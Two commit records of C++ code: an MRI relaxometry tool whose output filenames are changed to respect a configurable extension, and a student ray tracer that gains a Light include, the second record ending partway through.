{"text":"<commit_before>\/*\n *  despot1hifi.cpp\n *\n *  Created by Tobias Wood on 17\/10\/2011.\n *  Copyright (c) 2011-2013 Tobias Wood.\n *\n *  Based on code by Sean Deoni\n *\n *  This Source Code Form is subject to the terms of the Mozilla Public\n *  License, v. 2.0. If a copy of the MPL was not distributed with this\n *  file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n *\/\n\n#include <getopt.h>\n#include <iostream>\n#include <Eigen\/Dense>\n#include <unsupported\/Eigen\/LevenbergMarquardt>\n#include <unsupported\/Eigen\/NumericalDiff>\n\n#include \"itkImageFileReader.h\"\n\n#include \"QI\/Sequences\/Sequences.h\"\n#include \"QI\/Util.h\"\n#include \"QI\/IO.h\"\n#include \"Filters\/ApplyAlgorithmFilter.h\"\n\nusing namespace std;\nusing namespace Eigen;\n\n\/\/******************************************************************************\n\/\/ Arguments \/ Usage\n\/\/******************************************************************************\nconst string usage {\n\"Usage is: qidespot1hifi [options] spgr_input ir-spgr_input\\n\\\n\\\nOptions:\\n\\\n    --help, -h        : Print this message\\n\\\n    --verbose, -v     : Print more information\\n\\\n    --no-prompt, -n   : Suppress input prompts\\n\\\n    --mprage, -M      : Use a generic MP-RAGE sequence, not GE IR-SPGR\\n\\\n    --out, -o path    : Add a prefix to the output filenames\\n\\\n    --mask, -m file   : Mask input with specified file\\n\\\n    --thresh, -t n    : Threshold maps at PD < n\\n\\\n    --clamp, -c n     : Clamp T1 between 0 and n\\n\\\n    --its, -i N       : Max iterations for NLLS (default 4)\\n\\\n    --resids, -r      : Write out per flip-angle residuals\\n\\\n    --threads, -T N   : Use N threads (default=4, 0=hardware limit)\\n\"\n};\n\nstatic bool verbose = false, prompt = true, IR = true, all_residuals = false;\nstatic size_t nIterations = 4, num_threads = 4;\nstatic string outPrefix;\nstatic double thresh = -numeric_limits<double>::infinity();\nstatic double clamp_lo = -numeric_limits<double>::infinity(), clamp_hi = numeric_limits<double>::infinity();\nstatic const struct option long_opts[] = {\n    {\"help\", no_argument, 0, 'h'},\n    {\"verbose\", no_argument, 0, 'v'},\n    {\"no-prompt\", no_argument, 0, 'n'},\n    {\"mprage\", no_argument, 0, 'M'},\n    {\"mask\", required_argument, 0, 'm'},\n    {\"out\", required_argument, 0, 'o'},\n    {\"thresh\", required_argument, 0, 't'},\n    {\"clamp\", required_argument, 0, 'c'},\n    {\"its\", required_argument, 0, 'i'},\n    {\"resids\", no_argument, 0, 'r'},\n    {\"threads\", required_argument, 0, 'T'},\n    {0, 0, 0, 0}\n};\nstatic const char *short_opts = \"hvnMm:o:t:c:s:p:i:rT:\";\n\n\/\/ HIFI Algorithm - includes optimising B1\nclass HIFIFunctor : public DenseFunctor<double> {\n    protected:\n        const shared_ptr<QI::SPGRSimple> m_spgr;\n        const shared_ptr<QI::MPRAGE> m_mprage;\n        const ArrayXd m_data;\n\n    public:\n        HIFIFunctor(const shared_ptr<QI::SPGRSimple> spgr,\n                    const shared_ptr<QI::MPRAGE> mprage,\n                    const ArrayXd &data) :\n            DenseFunctor<double>(3, spgr->size() + mprage->size()),\n            m_spgr(spgr), m_mprage(mprage), m_data(data)\n        {\n            assert(static_cast<size_t>(m_data.rows()) == values());\n        }\n\n        int operator()(const Ref<VectorXd> &params, Ref<ArrayXd> diffs) const {\n            eigen_assert(diffs.size() == values());\n\n            ArrayXd s(values());\n            s.head(m_spgr->size()) = QI::One_SPGR_Magnitude(m_spgr->flip(), m_spgr->TR(), params[0], params[1], params[2]);\n            s.tail(m_mprage->size()) = QI::One_MPRAGE(m_mprage->flip()[0], m_mprage->TR(), m_mprage->m_Nseg, m_mprage->m_Nk0, m_mprage->m_TI, m_mprage->m_TD,\n                                                      params[0], params[1], params[2], m_mprage->m_eta).cwiseAbs(); \n            diffs = s - m_data;\n            return 0;\n        }\n};\n\nclass HIFIAlgo : public QI::ApplyF::Algorithm {\nprivate:\n    shared_ptr<QI::SPGRSimple> m_spgr;\n    shared_ptr<QI::MPRAGE> m_mprage;\n    size_t m_iterations = 15; \/\/ From tests this seems to be a sensible maximum number\n    double m_thresh = -numeric_limits<double>::infinity();\n    double m_lo = -numeric_limits<double>::infinity();\n    double m_hi = numeric_limits<double>::infinity();\npublic:\n    void setSequences(const shared_ptr<QI::SPGRSimple> &s, const shared_ptr<QI::MPRAGE> &m) { m_spgr = s; m_mprage = m;}\n    void setIterations(size_t n) { m_iterations = n; }\n    void setThreshold(double t) { m_thresh = t; }\n    void setClamp(double lo, double hi) { m_lo = lo; m_hi = hi; }\n    size_t numInputs() const override  { return 2; }\n    size_t numConsts() const override  { return 0; }\n    size_t numOutputs() const override { return 3; }\n    size_t dataSize() const override   { return m_spgr->size() + m_mprage->size(); }\n    const float &zero(const size_t i) const override { static float zero = 0; return zero; }\n\n    virtual std::vector<float> defaultConsts() const override {\n        \/\/ No constants for HIFI\n        std::vector<float> def(0);\n        return def;\n    }\n\n    virtual bool apply(const std::vector<TInput> &inputs, const std::vector<TConst> &, \/\/ No constants, remove name to silence compiler warnings\n                       std::vector<TOutput> &outputs, TConst &residual,\n                       TInput &resids, TIters &its) const override\n    {\n        Eigen::Map<const ArrayXf> spgr(inputs[0].GetDataPointer(), inputs[0].Size());\n        Eigen::Map<const ArrayXf> irspgr(inputs[1].GetDataPointer(), inputs[1].Size());\n        ArrayXf indata(dataSize()); indata << spgr, irspgr;\n        const ArrayXd data = indata.cast<double>() \/ indata.abs().maxCoeff(); \/\/ Scale to make parameters roughly equal\n        HIFIFunctor f(m_spgr, m_mprage, data);\n        NumericalDiff<HIFIFunctor> nDiff(f);\n        LevenbergMarquardt<NumericalDiff<HIFIFunctor>> lm(nDiff);\n        \/\/ LevenbergMarquardt does not currently have a good interface, have to do things in steps\n        lm.setMaxfev(m_iterations * (data.rows() + 1));\n        VectorXd p(3); p << 10., 1., 1.; \/\/ Initial guess\n        lm.minimize(p);\n        ArrayXd r(indata.rows());\n        f(p, r); \/\/ Get the residuals\n        \n        if (p[0] < m_thresh)\n            p[0] = 0;\n        else\n            outputs[0] = p[0] * indata.abs().maxCoeff();\n        outputs[1] = QI::clamp(p[1], m_lo, m_hi);\n        outputs[2] = p[2];\n        residual = sqrt(r.square().sum() \/ r.rows());\n        ArrayXf rf = r.cast<float>();\n        resids = itk::VariableLengthVector<float>(rf.data(), rf.rows());\n        its = lm.iterations();\n        return true;\n    }\n};\n\n\/\/******************************************************************************\n\/\/ Main\n\/\/******************************************************************************\nint main(int argc, char **argv) {\n    Eigen::initParallel();\n    QI::VolumeF::Pointer mask = ITK_NULLPTR;\n    auto hifi = make_shared<HIFIAlgo>();\n    int indexptr = 0, c;\n    while ((c = getopt_long(argc, argv, short_opts, long_opts, &indexptr)) != -1) {\n        switch (c) {\n            case 'v': verbose = true; break;\n            case 'n': prompt = false; break;\n            case 'M': IR = false; break;\n            case 'm':\n                if (verbose) cout << \"Opening mask file: \" << optarg << endl;\n                mask = QI::ReadImage(optarg);\n                break;\n            case 'o':\n                outPrefix = optarg;\n                if (verbose) cout << \"Output prefix will be: \" << outPrefix << endl;\n                break;\n            case 't': hifi->setThreshold(atof(optarg)); break;\n            case 'c': hifi->setClamp(0, atof(optarg)); break;\n            case 'i': hifi->setIterations(atoi(optarg)); break;\n            case 'r': all_residuals = true; break;\n            case 'T':\n                num_threads = stoi(optarg);\n                if (num_threads == 0)\n                    num_threads = std::thread::hardware_concurrency();\n                break;\n            case 'h':\n                cout << QI::GetVersion() << endl << usage << endl;\n                return EXIT_SUCCESS;\n            case '?': \/\/ getopt will print an error message\n                return EXIT_FAILURE;\n            default:\n                cout << \"Unhandled option \" << string(1, c) << endl;\n                return EXIT_FAILURE;\n        }\n    }\n    if ((argc - optind) != 2) {\n        cerr << \"Incorrect number of arguments.\" << endl;\n        cout << QI::GetVersion() << endl << usage << endl;\n        return EXIT_FAILURE;\n    }\n    \n    if (verbose) cout << \"Opening SPGR file: \" << argv[optind] << endl;\n    auto spgrImg = QI::ReadVectorImage<float>(argv[optind++]);\n    auto spgrSequence = make_shared<QI::SPGRSimple>(cin, prompt);\n    if (verbose) cout << \"Opening IR-SPGR file: \" << argv[optind] << endl;\n    auto irImg = QI::ReadVectorImage<float>(argv[optind++]);\n    shared_ptr<QI::MPRAGE> irSequence;\n    if (IR) {\n        irSequence = make_shared<QI::IRSPGR>(cin, prompt);\n    } else {\n        irSequence = make_shared<QI::MPRAGE>(cin, prompt);\n    }\n    if (verbose) cout << *spgrSequence << endl << *irSequence << endl;\n    auto apply = QI::ApplyF::New();\n    hifi->setSequences(spgrSequence, irSequence);\n    apply->SetAlgorithm(hifi);\n    apply->SetOutputAllResiduals(all_residuals);\n    apply->SetPoolsize(num_threads);\n    apply->SetInput(0, spgrImg);\n    apply->SetInput(1, irImg);\n    if (mask)\n        apply->SetMask(mask);\n    if (verbose) {\n        cout << \"Processing...\" << endl;\n        auto monitor = QI::GenericMonitor::New();\n        apply->AddObserver(itk::ProgressEvent(), monitor);\n    }\n    apply->Update();\n    if (verbose) {\n        cout << \"Elapsed time was \" << apply->GetTotalTime() << \"s\" << endl;\n        cout << \"Writing results files.\" << endl;\n    }\n    outPrefix = outPrefix + \"HIFI_\";\n\n    QI::WriteImage(apply->GetOutput(0), outPrefix + \"PD.nii\");\n    QI::WriteImage(apply->GetOutput(1), outPrefix + \"T1.nii\");\n    QI::WriteImage(apply->GetOutput(2), outPrefix + \"B1.nii\");\n    QI::WriteScaledImage(apply->GetResidualOutput(), apply->GetOutput(0), outPrefix + \"residual.nii\");\n    if (all_residuals) {\n        QI::WriteScaledVectorImage(apply->GetAllResidualsOutput(), apply->GetOutput(0), outPrefix + \"all_residuals.nii\");\n    }\n    if (verbose) cout << \"Finished.\" << endl;\n    return EXIT_SUCCESS;\n}\n<commit_msg>BUG: Was not respecting output extension environment variable.<commit_after>\/*\n *  despot1hifi.cpp\n *\n *  Created by Tobias Wood on 17\/10\/2011.\n *  Copyright (c) 2011-2013 Tobias Wood.\n *\n *  Based on code by Sean Deoni\n *\n *  This Source Code Form is subject to the terms of the Mozilla Public\n *  License, v. 2.0. If a copy of the MPL was not distributed with this\n *  file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n *\/\n\n#include <getopt.h>\n#include <iostream>\n#include <Eigen\/Dense>\n#include <unsupported\/Eigen\/LevenbergMarquardt>\n#include <unsupported\/Eigen\/NumericalDiff>\n\n#include \"itkImageFileReader.h\"\n\n#include \"QI\/Sequences\/Sequences.h\"\n#include \"QI\/Util.h\"\n#include \"QI\/IO.h\"\n#include \"Filters\/ApplyAlgorithmFilter.h\"\n\nusing namespace std;\nusing namespace Eigen;\n\n\/\/******************************************************************************\n\/\/ Arguments \/ Usage\n\/\/******************************************************************************\nconst string usage {\n\"Usage is: qidespot1hifi [options] spgr_input ir-spgr_input\\n\\\n\\\nOptions:\\n\\\n    --help, -h        : Print this message\\n\\\n    --verbose, -v     : Print more information\\n\\\n    --no-prompt, -n   : Suppress input prompts\\n\\\n    --mprage, -M      : Use a generic MP-RAGE sequence, not GE IR-SPGR\\n\\\n    --out, -o path    : Add a prefix to the output filenames\\n\\\n    --mask, -m file   : Mask input with specified file\\n\\\n    --thresh, -t n    : Threshold maps at PD < n\\n\\\n    --clamp, -c n     : Clamp T1 between 0 and n\\n\\\n    --its, -i N       : Max iterations for NLLS (default 4)\\n\\\n    --resids, -r      : Write out per flip-angle residuals\\n\\\n    --threads, -T N   : Use N threads (default=4, 0=hardware limit)\\n\"\n};\n\nstatic bool verbose = false, prompt = true, IR = true, all_residuals = false;\nstatic size_t nIterations = 4, num_threads = 4;\nstatic string outPrefix;\nstatic double thresh = -numeric_limits<double>::infinity();\nstatic double clamp_lo = -numeric_limits<double>::infinity(), clamp_hi = numeric_limits<double>::infinity();\nstatic const struct option long_opts[] = {\n    {\"help\", no_argument, 0, 'h'},\n    {\"verbose\", no_argument, 0, 'v'},\n    {\"no-prompt\", no_argument, 0, 'n'},\n    {\"mprage\", no_argument, 0, 'M'},\n    {\"mask\", required_argument, 0, 'm'},\n    {\"out\", required_argument, 0, 'o'},\n    {\"thresh\", required_argument, 0, 't'},\n    {\"clamp\", required_argument, 0, 'c'},\n    {\"its\", required_argument, 0, 'i'},\n    {\"resids\", no_argument, 0, 'r'},\n    {\"threads\", required_argument, 0, 'T'},\n    {0, 0, 0, 0}\n};\nstatic const char *short_opts = \"hvnMm:o:t:c:s:p:i:rT:\";\n\n\/\/ HIFI Algorithm - includes optimising B1\nclass HIFIFunctor : public DenseFunctor<double> {\n    protected:\n        const shared_ptr<QI::SPGRSimple> m_spgr;\n        const shared_ptr<QI::MPRAGE> m_mprage;\n        const ArrayXd m_data;\n\n    public:\n        HIFIFunctor(const shared_ptr<QI::SPGRSimple> spgr,\n                    const shared_ptr<QI::MPRAGE> mprage,\n                    const ArrayXd &data) :\n            DenseFunctor<double>(3, spgr->size() + mprage->size()),\n            m_spgr(spgr), m_mprage(mprage), m_data(data)\n        {\n            assert(static_cast<size_t>(m_data.rows()) == values());\n        }\n\n        int operator()(const Ref<VectorXd> &params, Ref<ArrayXd> diffs) const {\n            eigen_assert(diffs.size() == values());\n\n            ArrayXd s(values());\n            s.head(m_spgr->size()) = QI::One_SPGR_Magnitude(m_spgr->flip(), m_spgr->TR(), params[0], params[1], params[2]);\n            s.tail(m_mprage->size()) = QI::One_MPRAGE(m_mprage->flip()[0], m_mprage->TR(), m_mprage->m_Nseg, m_mprage->m_Nk0, m_mprage->m_TI, m_mprage->m_TD,\n                                                      params[0], params[1], params[2], m_mprage->m_eta).cwiseAbs(); \n            diffs = s - m_data;\n            return 0;\n        }\n};\n\nclass HIFIAlgo : public QI::ApplyF::Algorithm {\nprivate:\n    shared_ptr<QI::SPGRSimple> m_spgr;\n    shared_ptr<QI::MPRAGE> m_mprage;\n    size_t m_iterations = 15; \/\/ From tests this seems to be a sensible maximum number\n    double m_thresh = -numeric_limits<double>::infinity();\n    double m_lo = -numeric_limits<double>::infinity();\n    double m_hi = numeric_limits<double>::infinity();\npublic:\n    void setSequences(const shared_ptr<QI::SPGRSimple> &s, const shared_ptr<QI::MPRAGE> &m) { m_spgr = s; m_mprage = m;}\n    void setIterations(size_t n) { m_iterations = n; }\n    void setThreshold(double t) { m_thresh = t; }\n    void setClamp(double lo, double hi) { m_lo = lo; m_hi = hi; }\n    size_t numInputs() const override  { return 2; }\n    size_t numConsts() const override  { return 0; }\n    size_t numOutputs() const override { return 3; }\n    size_t dataSize() const override   { return m_spgr->size() + m_mprage->size(); }\n    const float &zero(const size_t i) const override { static float zero = 0; return zero; }\n\n    virtual std::vector<float> defaultConsts() const override {\n        \/\/ No constants for HIFI\n        std::vector<float> def(0);\n        return def;\n    }\n\n    virtual bool apply(const std::vector<TInput> &inputs, const std::vector<TConst> &, \/\/ No constants, remove name to silence compiler warnings\n                       std::vector<TOutput> &outputs, TConst &residual,\n                       TInput &resids, TIters &its) const override\n    {\n        Eigen::Map<const ArrayXf> spgr(inputs[0].GetDataPointer(), inputs[0].Size());\n        Eigen::Map<const ArrayXf> irspgr(inputs[1].GetDataPointer(), inputs[1].Size());\n        ArrayXf indata(dataSize()); indata << spgr, irspgr;\n        const ArrayXd data = indata.cast<double>() \/ indata.abs().maxCoeff(); \/\/ Scale to make parameters roughly equal\n        HIFIFunctor f(m_spgr, m_mprage, data);\n        NumericalDiff<HIFIFunctor> nDiff(f);\n        LevenbergMarquardt<NumericalDiff<HIFIFunctor>> lm(nDiff);\n        \/\/ LevenbergMarquardt does not currently have a good interface, have to do things in steps\n        lm.setMaxfev(m_iterations * (data.rows() + 1));\n        VectorXd p(3); p << 10., 1., 1.; \/\/ Initial guess\n        lm.minimize(p);\n        ArrayXd r(indata.rows());\n        f(p, r); \/\/ Get the residuals\n        \n        if (p[0] < m_thresh)\n            p[0] = 0;\n        else\n            outputs[0] = p[0] * indata.abs().maxCoeff();\n        outputs[1] = QI::clamp(p[1], m_lo, m_hi);\n        outputs[2] = p[2];\n        residual = sqrt(r.square().sum() \/ r.rows());\n        ArrayXf rf = r.cast<float>();\n        resids = itk::VariableLengthVector<float>(rf.data(), rf.rows());\n        its = lm.iterations();\n        return true;\n    }\n};\n\n\/\/******************************************************************************\n\/\/ Main\n\/\/******************************************************************************\nint main(int argc, char **argv) {\n    Eigen::initParallel();\n    QI::VolumeF::Pointer mask = ITK_NULLPTR;\n    auto hifi = make_shared<HIFIAlgo>();\n    int indexptr = 0, c;\n    while ((c = getopt_long(argc, argv, short_opts, long_opts, &indexptr)) != -1) {\n        switch (c) {\n            case 'v': verbose = true; break;\n            case 'n': prompt = false; break;\n            case 'M': IR = false; break;\n            case 'm':\n                if (verbose) cout << \"Opening mask file: \" << optarg << endl;\n                mask = QI::ReadImage(optarg);\n                break;\n            case 'o':\n                outPrefix = optarg;\n                if (verbose) cout << \"Output prefix will be: \" << outPrefix << endl;\n                break;\n            case 't': hifi->setThreshold(atof(optarg)); break;\n            case 'c': hifi->setClamp(0, atof(optarg)); break;\n            case 'i': hifi->setIterations(atoi(optarg)); break;\n            case 'r': all_residuals = true; break;\n            case 'T':\n                num_threads = stoi(optarg);\n                if (num_threads == 0)\n                    num_threads = std::thread::hardware_concurrency();\n                break;\n            case 'h':\n                cout << QI::GetVersion() << endl << usage << endl;\n                return EXIT_SUCCESS;\n            case '?': \/\/ getopt will print an error message\n                return EXIT_FAILURE;\n            default:\n                cout << \"Unhandled option \" << string(1, c) << endl;\n                return EXIT_FAILURE;\n        }\n    }\n    if ((argc - optind) != 2) {\n        cerr << \"Incorrect number of arguments.\" << endl;\n        cout << QI::GetVersion() << endl << usage << endl;\n        return EXIT_FAILURE;\n    }\n    \n    if (verbose) cout << \"Opening SPGR file: \" << argv[optind] << endl;\n    auto spgrImg = QI::ReadVectorImage<float>(argv[optind++]);\n    auto spgrSequence = make_shared<QI::SPGRSimple>(cin, prompt);\n    if (verbose) cout << \"Opening IR-SPGR file: \" << argv[optind] << endl;\n    auto irImg = QI::ReadVectorImage<float>(argv[optind++]);\n    shared_ptr<QI::MPRAGE> irSequence;\n    if (IR) {\n        irSequence = make_shared<QI::IRSPGR>(cin, prompt);\n    } else {\n        irSequence = make_shared<QI::MPRAGE>(cin, prompt);\n    }\n    if (verbose) cout << *spgrSequence << endl << *irSequence << endl;\n    auto apply = QI::ApplyF::New();\n    hifi->setSequences(spgrSequence, irSequence);\n    apply->SetAlgorithm(hifi);\n    apply->SetOutputAllResiduals(all_residuals);\n    apply->SetPoolsize(num_threads);\n    apply->SetInput(0, spgrImg);\n    apply->SetInput(1, irImg);\n    if (mask)\n        apply->SetMask(mask);\n    if (verbose) {\n        cout << \"Processing...\" << endl;\n        auto monitor = QI::GenericMonitor::New();\n        apply->AddObserver(itk::ProgressEvent(), monitor);\n    }\n    apply->Update();\n    if (verbose) {\n        cout << \"Elapsed time was \" << apply->GetTotalTime() << \"s\" << endl;\n        cout << \"Writing results files.\" << endl;\n    }\n    outPrefix = outPrefix + \"HIFI_\";\n\n    QI::WriteImage(apply->GetOutput(0), outPrefix + \"PD\" + QI::OutExt());\n    QI::WriteImage(apply->GetOutput(1), outPrefix + \"T1\" + QI::OutExt());\n    QI::WriteImage(apply->GetOutput(2), outPrefix + \"B1\" + QI::OutExt());\n    QI::WriteScaledImage(apply->GetResidualOutput(), apply->GetOutput(0), outPrefix + \"residual\"  + QI::OutExt());\n    if (all_residuals) {\n        QI::WriteScaledVectorImage(apply->GetAllResidualsOutput(), apply->GetOutput(0), outPrefix + \"all_residuals\" + QI::OutExt());\n    }\n    if (verbose) cout << \"Finished.\" << endl;\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/Nicholas Gattuso 40007087\n\/\/referenced to-https:\/\/github.com\/wishedeom\/COMP371_A3\/tree\/master\/COMP371_A3\n\/\/and from-https:\/\/www.scratchapixel.com\/lessons\/3d-basic-rendering\/minimal-ray-tracer-rendering-simple-shapes\/ray-sphere-intersection\n\n\n#include <iostream>\n#include <vector>\n#include <math.h>\n#include \"CImg.h\"\n#include \"sceneLoader.h\"\n#include \"Camera.h\"\n#include \"Sphere.h\"\n#include \"Raytracing.h\"\n#include \"Triangles.h\"\n#include \"Plane.h\"\n\nusing namespace std;\n\nint main()\n{\n\tcout << \"main program for ray tracing\" << endl;\n\t\/\/for testing purpose\n\n\t\/\/------------------------------------Read text file and get the object variables----------------------------------------------\n\tScene loadtext(\"scene.txt\");\n\n\tif (loadtext.getLoad()) { cout << \"read succesfully\" << endl; }\n\telse { cout << \"Read failed\" << endl; }\n\n\t\/\/must add fetching of variables from scene instead of hardcoding it\n\t\/\/-----------------------------------------Create camera object and image space-------------------------------------------------\n\tCamera camera(glm::vec3{ 0,0,0 }, 60, 1000, 1.33);\n\n\t\/\/----------------------------------------------Create Sphere Object------------------------------------------------------------\n\tSphere sphere1(glm::vec3{ 0,6,-40 }, 2, glm::vec3{ 0.1,0.5,0.5 }, glm::vec3{ 0.4, 0.6, 0.2 }, glm::vec3{ 0.2, 0.5, 0.5 }, 1);\n\tSphere sphere2(glm::vec3{ 0,3,-40 }, 3, glm::vec3{ 0.3, 0.15, 0.2 }, glm::vec3{ 0.1, 0.22, 0.29 }, glm::vec3{ 0.2, 0.7, 0.2 }, 1);\n\tSphere sphere3(glm::vec3{ 0, -3, -40 }, 5, glm::vec3{ 0.1, 0.15, 0.7 }, glm::vec3{ 0.8, 0.22, 0.29 }, glm::vec3{ 0.2, 0.7, 0.8 }, 1);\n\t\n\t\/\/place sphere objects in a vector\n\tstd::vector<Sphere> sphereObjects;\n\tsphereObjects.emplace_back(sphere1);\n\tsphereObjects.emplace_back(sphere2);\n\tsphereObjects.emplace_back(sphere3);\n\n\tbool sphereIntersect = false;\n\n\t\/\/----------------------------------------------Create Triangle Object------------------------------------------------------------\n\tTriangle triangle1(glm::vec3{ 1,7,-40 }, glm::vec3{ 1,5,-40 }, glm::vec3{ 5,6,-40 }, glm::vec3{ 0.5,0.2,0.7 }, glm::vec3{ 0.2, 0.4, 0.2 }, glm::vec3{ 0.1, 0.1, 0.2 }, 0.5);\n\t\n\t\/\/place sphere objects in a vector\n\tstd::vector<Triangle> triangleObjects;\n\ttriangleObjects.emplace_back(triangle1);\n\n\tbool triIntersect = false;\n\n\t\/\/---------------------------------------------------Creating Plane Object----------------------------------------------\n\tPlane plane(glm::vec3{ 0,1,0 }, glm::vec3{ 0,-5,0 }, glm::vec3{ 0.8,0.8,0.8 }, glm::vec3{ 0.1,0.1,0.1 },\n\t\tglm::vec3{ 0.7,0.7,0.7 }, 6);\n\tbool planeInter = false;\n\n\n\t\/\/NEED TO DO\n\t\/\/Add the other objects (triangles, objs, plane, light)\n\t\/\/Fix the scene to get the objects from the scene instead\n\n\t\/\/--------------------------------------------------Define the Image-------------------------------------------------------\n\t\/\/Creates an image with three channels and sets it to black\n\tcimg_library::CImg<float> image(camera.getWidth(), camera.getHeight(), 1, 3, 0);\n\n\n\t\/\/NEED TO DO\n\t\/\/Go through each pixel in the image -> make a loop throughout the image, for every pixel do the following:\n\tfloat imageWidth = camera.getWidth(); float imageHeight = camera.getHeight();\n\tfloat aspectRatio = imageWidth \/ imageHeight;\n\tglm::vec3 camPos = camera.getPosition();\n\t\n\tfor (int h = 0; h <= imageHeight - 1; h++) \/\/loop through every height column\n\t{\n\t\tfor (int w = 0; w <= imageWidth - 1; w++) \/\/loop through every width row\n\t\t{\n\t\t\t\/\/reset boolean values for every pixel\n\t\t\tsphereIntersect = false;\n\t\t\ttriIntersect = false;\n\t\t\tplaneInter = false;\n\n\t\t\t\/\/get Camera space\n\t\t\tfloat pX = (2 * ((w + 0.5) \/ imageWidth) - 1) * tan((camera.getFOV()) \/ 2 * 3.14159 \/ 180) * aspectRatio;\n\t\t\tfloat pY = (1 - 2 * ((h + 0.5) \/ imageHeight)) * tan((camera.getFOV()) \/ 2 * 3.14159 \/ 180);\n\t\t\tglm::vec3 rayDirection = glm::vec3{ pX, pY, -1 } - camera.getPosition();\n\t\t\trayDirection = glm::normalize(rayDirection);\n\n\t\t\t\/\/get a ray\n\t\t\t\/\/Raytray ray = camera.rayPixel(w, h); \/\/ray receives the point (w,h) and the direction\n\n\t\t\t\/\/calculate distance to know how far to check\n\t\t\t\/\/glm::vec2 distance{(w - camPos.x), (h - camPos.y)};\n\t\t\t\/\/float dista = sqrt((distance.x)*(distance.x) + (distance.y)*(distance.y));\n\n\t\t\tglm::vec3 colour{ 0.0, 0.0, 0.0 };\n\n\t\t\t\/\/-------toss ray and check for intersection-----\n\t\t\t\/\/for spheres\n\t\t\tfloat nearestSphere = 1000000; int nearestSphereIndex;\n\t\t\tfor (int i = 0; i <= sphereObjects.size() - 1; i++)\n\t\t\t{\n\t\t\t\tif (sphereObjects[i].sphereInter(camera.getPosition(), rayDirection)) \/\/if it intersects\n\t\t\t\t{\n\t\t\t\t\tsphereIntersect = true;\n\t\t\t\t\tif (sphereObjects[i].getInterDis() <= nearestSphere)\n\t\t\t\t\t{\n\t\t\t\t\t\tnearestSphere = sphereObjects[i].getInterDis();\n\t\t\t\t\t\tnearestSphereIndex = i;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/for triangles\n\t\t\tfloat nearestTri = 1000000; int nearestTriIndex;\n\t\t\tfor (int i = 0; i <= triangleObjects.size() - 1; i++)\n\t\t\t{\n\t\t\t\tif (triangleObjects[i].triInter(camera.getPosition(), rayDirection, triangleObjects[i].getVertex1(), \n\t\t\t\t\ttriangleObjects[i].getVertex2(), triangleObjects[i].getVertex3())) \/\/if it intersects\n\t\t\t\t{\n\t\t\t\t\ttriIntersect = true;\n\t\t\t\t\tif (triangleObjects[i].getInterDis() <= nearestTri)\n\t\t\t\t\t{\n\t\t\t\t\t\tnearestTri = triangleObjects[i].getInterDis();\n\t\t\t\t\t\tnearestTriIndex = i;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/for plane\n\t\t\tplaneInter = plane.planeInter(plane.getNOR(), plane.getPosition(), camera.getPosition(), rayDirection);\n\n\t\t\t\/\/------------------------------------------Check for nearest----------------------------------------\n\t\t\t\/\/----------if all three objects are intersected------------------\n\t\t\tif (triIntersect && sphereIntersect && planeInter)\n\t\t\t{\n\t\t\t\tif (nearestSphere <= nearestTri) \/\/case if sphere is nearest\n\t\t\t\t{\n\t\t\t\t\tif (nearestSphere <= plane.getInterDis()) { colour = sphereObjects[nearestSphereIndex].getAmbient(); }\n\t\t\t\t}\n\t\t\t\telse if (nearestTri <= nearestSphere) \/\/case if triangle is nearest\n\t\t\t\t{\n\t\t\t\t\tif (nearestTri <= plane.getInterDis()){ colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\t\t}\n\t\t\t\telse { colour = plane.getAmbient(); }\n\t\t\t}\n\t\t\t\/\/-------if only tri and sphere are intersected------------\n\t\t\telse if (triIntersect && sphereIntersect)\n\t\t\t{\n\t\t\t\tif (nearestTri <= nearestSphere) \/\/case if sphere is nearest\n\t\t\t\t{\n\t\t\t\t\tcolour = sphereObjects[nearestSphereIndex].getAmbient();\n\t\t\t\t}\n\t\t\t\telse { colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\t}\n\t\t\t\/\/-------if only tri and plane are intersected-------------\n\t\t\telse if (triIntersect && planeInter)\n\t\t\t{\n\t\t\t\tif (plane.getInterDis() <= nearestTri) \/\/case if plane is nearest\n\t\t\t\t{\n\t\t\t\t\tcolour = plane.getAmbient();\n\t\t\t\t}\n\t\t\t\telse { colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\t}\n\t\t\t\/\/-------if only sphere and plane are intersected---------\n\t\t\telse if (sphereIntersect && planeInter)\n\t\t\t{\n\t\t\t\tif (plane.getInterDis() <= nearestSphere) \/\/case if plane is nearest\n\t\t\t\t{\n\t\t\t\t\tcolour = plane.getAmbient();\n\t\t\t\t}\n\t\t\t\telse { colour = sphereObjects[nearestSphereIndex].getAmbient(); }\n\t\t\t}\n\t\t\t\/\/---------only 1 intersection occured-------\n\t\t\telse if (triIntersect){ colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\telse if (sphereIntersect) { colour = sphereObjects[nearestSphereIndex].getAmbient(); }\n\t\t\telse if (planeInter){ colour = plane.getAmbient();}\n\n\t\t\t\/\/Store the colour of the pixel\n\t\t\tfloat color[3]{ colour.x, colour.y, colour.z };\n\t\t\timage.draw_point(w, h, color);\n\t\t}\n\t}\n\n\n\t\/\/-------------------------------------------------Save image---------------------------------------------------------\n\t\/\/Save out the image in BMP format. Pixel values must be in the range [0,255]\n\timage.normalize(0, 255);\n\timage.save(\"render.bmp\");\n\n\t\/\/Display the rendered image on screen\n\tcimg_library::CImgDisplay main_disp(image, \"Render\");\n\twhile (!main_disp.is_closed())\n\t\tmain_disp.wait();\n\n\treturn 0;\n}<commit_msg>created the light object<commit_after>\/\/Nicholas Gattuso 40007087\n\/\/referenced to-https:\/\/github.com\/wishedeom\/COMP371_A3\/tree\/master\/COMP371_A3\n\/\/and from-https:\/\/www.scratchapixel.com\/lessons\/3d-basic-rendering\/minimal-ray-tracer-rendering-simple-shapes\/ray-sphere-intersection\n\n\n#include <iostream>\n#include <vector>\n#include <math.h>\n#include \"CImg.h\"\n#include \"sceneLoader.h\"\n#include \"Camera.h\"\n#include \"Sphere.h\"\n#include \"Raytracing.h\"\n#include \"Triangles.h\"\n#include \"Plane.h\"\n#include \"Light.h\"\n\nusing namespace std;\n\nint main()\n{\n\tcout << \"main program for ray tracing\" << endl;\n\t\/\/for testing purpose\n\n\t\/\/------------------------------------Read text file and get the object variables----------------------------------------------\n\tScene 